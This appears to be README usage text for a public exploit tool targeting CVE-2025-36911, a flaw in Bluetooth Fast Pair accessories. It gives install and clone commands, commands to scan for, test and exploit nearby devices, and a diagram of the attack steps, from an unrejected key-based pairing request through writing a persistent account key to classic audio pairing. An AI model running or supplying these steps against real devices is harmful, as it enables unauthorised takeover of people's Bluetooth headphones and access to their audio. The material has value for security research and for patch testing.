# Install
pip install bleak cryptography
git clone https://github.com/Penthertz/CVE-2025-36911-exploit.git
cd CVE-2025-36911-exploit

# Scan for targets
python3 whisperpair-cli.py scan

# Test if vulnerable
python3 whisperpair-cli.py test AA:BB:CC:DD:EE:FF

# Exploit
python3 whisperpair-cli.py exploit --quick

┌─────────────────────────────────────────────────────────────┐
│  ATTACKER                           VULNERABLE DEVICE       │
│                                                             │
│  1. BLE Scan ─────────────────────► Fast Pair Advertisement │
│     (Find target)                   (Model ID visible)      │
│                                                             │
│  2. Connect ──────────────────────► GATT Connection         │
│                                                             │
│  3. KBP Request ──────────────────► Key-Based Pairing Char  │
│     (Should be rejected             ✗ NOT REJECTED!         │
│      when not in pairing mode)      (CVE-2025-36911)        │
│                                                             │
│  4. Parse Response ◄────────────── BR/EDR Address           │
│                                                             │
│  5. Write Account Key ────────────► Account Key Char        │
│     (Persistent access)             ✓ ACCEPTED              │
│                                                             │
│  6. Classic BT Pair ──────────────► Audio Profiles (A2DP)   │
│     (Game over)                                             │
└─────────────────────────────────────────────────────────────┘